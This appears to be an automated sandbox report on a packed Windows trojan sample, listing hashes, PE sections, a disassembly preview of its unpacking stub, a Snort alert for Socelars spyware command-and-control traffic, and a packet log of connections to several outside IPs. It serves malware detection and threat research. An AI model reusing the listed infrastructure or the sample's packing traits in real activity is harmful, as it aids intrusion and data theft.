TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fJe9em23BB.exe
File size:	2440208
MD5:	e18b3707ff095f5dd8eac23474e25809
SHA1:	996770ce74c9f7a0f6f1223bd37447bdea794372
SHA256:	2d29625e81eed2aaafbcedffe4e177ca78189c71be60c6526daf35b3dcb8fa05
SHA512:	59db45c751fdb8df979afe6ce803fcb6b511b3c7965c639801eae68d5a51b4b02319102d6ca8c504ae76c68aa6ba6f2d595007a3b73af07e029c0ebbe07fdc58
SSDEEP:	49152:nhTsBclN14DVR/dRZV++apFIecXZM7tQB6/M8sbgsq7D:nk8NWVvRron0cQ6/SkH
TLSH:	EAB53393E4D276E7D77192BD34E5AA028A1C3038C7611D5E7A4F106C16EA60FEBB721C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P......M...M...M...L...M...L...M...L...Mr..M...MF..LN..MF..L...MF..L...M...L...M...M...M...LU..M...M...M..uM...M...L...MRich...

File Icon


Icon Hash:	b0a696929bd8f0b0

Static PE Info

General

Entrypoint:	0x9e9630
Entrypoint Section:	.boot
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6308AB66 [Fri Aug 26 11:15:50 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a00837800ad7e54f9c0c0103e7562cb2

Entrypoint Preview

Instruction
call 00007F378873D4D0h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F378873D36Ch
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F378873D3D3h
xor eax, eax
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F378873D467h
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007F378873D38Ah
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007F378873D31Bh
mov eax, 00000001h
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F378873D36Ch
sub eax, ebx
mov ebx, 00000001h
jne 00007F378873D3AAh
mov ecx, 00000001h
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007F378873D387h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F378873D36Ch
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e508b	0xa4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e7000	0x874c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x719000	0x10	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e6018	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x20426f	0xa4000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x206000	0x2a312	0xf600	False	0.9994601117886179	data	7.997070379745204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x231000	0x8a90	0x1000	False	0.941162109375	data	7.712874034316424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23a000	0x9f848	0x56200	False	1.000328828011611	data	7.999538179305772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x2da000	0xa624	0x5800	False	1.0007102272727273	data	7.992306608496332	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x2e5000	0x1000	0x200	False	0.328125	data	2.43926760007222	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x2e6000	0x1000	0x200	False	0.056640625	data	0.18120187678200297	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e7000	0x8800	0x8800	False	0.42575252757352944	data	6.283590873386433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.themida	0x2f0000	0x2ee000	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x5de000	0x13ac00	0x13ac00	False	0.9488417767077045	data	7.863043676785183	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x719000	0x1000	0x10	False	1.5	GLS_BINARY_LSB_FIRST	2.474601752714581	IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2e71ac	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x2e7624	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 3114047901, next used block 3113981851
RT_ICON	0x2e86dc	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 2375060881, next used block 2374995088
RT_ICON	0x2eac94	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 1652916613, next used block 1652851076
RT_STRING	0x2eeecc	0x78	data
RT_GROUP_ICON	0x2eef54	0x3e	data
RT_VERSION	0x2eefa4	0x498	data	German	Germany
RT_MANIFEST	0x2ef44c	0x2fb	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
USER32.dll	CharNextA
ADVAPI32.dll	RegCloseKey
SHELL32.dll	ShellExecuteA
ole32.dll	CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
German	Germany
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6116.203.105.11749758802034192 09/02/22-14:02:19.491810	TCP	2034192	ET TROJAN Win32/Spy.Socelars.S CnC Activity M3	49758	80	192.168.2.6	116.203.105.117

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 2, 2022 14:02:16.662935019 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:16.662988901 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:16.663093090 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:16.668030024 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:16.668068886 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:16.723560095 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:16.723722935 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:16.727619886 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:16.727652073 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:16.727919102 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:16.840888023 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:17.007042885 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:17.047477961 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:17.172185898 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:17.172255993 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:17.172343969 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:17.173930883 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:17.173958063 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:17.173993111 CEST	49757	443	192.168.2.6	34.117.59.81
Sep 2, 2022 14:02:17.174001932 CEST	443	49757	34.117.59.81	192.168.2.6
Sep 2, 2022 14:02:17.498569965 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:17.520847082 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:17.520941019 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:17.521336079 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:17.521397114 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:17.543210030 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:17.889138937 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:17.997426033 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:18.177639961 CEST	49760	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.226486921 CEST	80	49760	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.226639032 CEST	49760	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.236073017 CEST	49760	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.285772085 CEST	80	49760	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.285803080 CEST	80	49760	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.285823107 CEST	80	49760	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.285888910 CEST	49760	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.285959005 CEST	49760	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.287954092 CEST	49760	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.289103985 CEST	49761	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.337359905 CEST	80	49760	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.351768017 CEST	80	49761	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.351860046 CEST	49761	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.353215933 CEST	49761	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.416059971 CEST	80	49761	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.416110039 CEST	80	49761	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.416137934 CEST	80	49761	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.416166067 CEST	49761	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.416198969 CEST	49761	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.416459084 CEST	49761	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.417689085 CEST	49762	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.474744081 CEST	80	49762	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.474854946 CEST	49762	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.475469112 CEST	49762	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.479208946 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.479281902 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.479377031 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.479893923 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.479914904 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.479983091 CEST	80	49761	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.532483101 CEST	80	49762	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.532588005 CEST	49762	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.615502119 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.615629911 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.629380941 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.629417896 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.629834890 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.629920006 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.630556107 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.671371937 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837004900 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837054968 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837091923 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837150097 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.837173939 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.837186098 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837210894 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.837255001 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.837529898 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837579966 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837661028 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.837677002 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.837692976 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.837729931 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.900840044 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.900908947 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.900989056 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.901024103 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.901046991 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.901096106 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.901439905 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.901501894 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.901527882 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.901654959 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.901669025 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.901736975 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.902406931 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.902473927 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.902530909 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.902544022 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.902589083 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.902604103 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.965100050 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.965148926 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.965259075 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.965293884 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.965312958 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.965344906 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.965831041 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.965926886 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.965951920 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.965981007 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:18.966017962 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.966039896 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.966933966 CEST	49763	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:18.966962099 CEST	443	49763	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:19.491810083 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:19.491899014 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:19.514079094 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:20.110951900 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:20.110976934 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:20.110991001 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:20.111056089 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:20.187875032 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:20.224263906 CEST	49766	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.226226091 CEST	49767	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.241945982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.274580002 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.295216084 CEST	80	49766	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.295439005 CEST	49766	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.299341917 CEST	49766	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.303006887 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.303687096 CEST	80	49767	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.303797960 CEST	49767	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.304331064 CEST	49767	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.313178062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.313325882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.313838959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.314383030 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.314483881 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.314965963 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.316816092 CEST	49771	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.342595100 CEST	80	49771	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.342725039 CEST	49771	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.342807055 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.342972994 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.343689919 CEST	49771	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.344064951 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.344079971 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.344146967 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.344403028 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.345297098 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.357808113 CEST	80	49766	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.357827902 CEST	80	49766	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.357840061 CEST	80	49766	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.357945919 CEST	49766	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.358047962 CEST	49766	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.358226061 CEST	49766	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.359464884 CEST	49772	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.361538887 CEST	80	49771	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.361553907 CEST	80	49771	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.361649990 CEST	49771	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.361929893 CEST	49771	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.363141060 CEST	49773	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.369131088 CEST	80	49767	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.369147062 CEST	80	49767	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.369158983 CEST	80	49767	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.369249105 CEST	49767	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.374994040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.375008106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.375037909 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375056028 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375102043 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375112057 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.375118017 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375137091 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375147104 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375161886 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375178099 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375188112 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375200033 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375214100 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375222921 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375238895 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375247002 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375262976 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375273943 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375297070 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.375310898 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.375358105 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.376811981 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377619982 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377636909 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377654076 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377666950 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377682924 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377698898 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377768993 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.377775908 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.377794981 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377876043 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377893925 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377897024 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.377899885 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.377923012 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.377974987 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.378005981 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.380009890 CEST	80	49771	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.380805969 CEST	80	49773	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.380908966 CEST	49773	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.389492035 CEST	49767	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.389771938 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.389991045 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.394670963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.397496939 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.397845030 CEST	49775	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.400300980 CEST	49773	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.403490067 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403511047 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403527975 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403541088 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403553009 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403569937 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403584003 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403600931 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403620005 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403635025 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403650045 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403664112 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403680086 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403697014 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403713942 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403727055 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403740883 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403748035 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403758049 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403774023 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403793097 CEST	49769	80	192.168.2.6	107.182.129.251
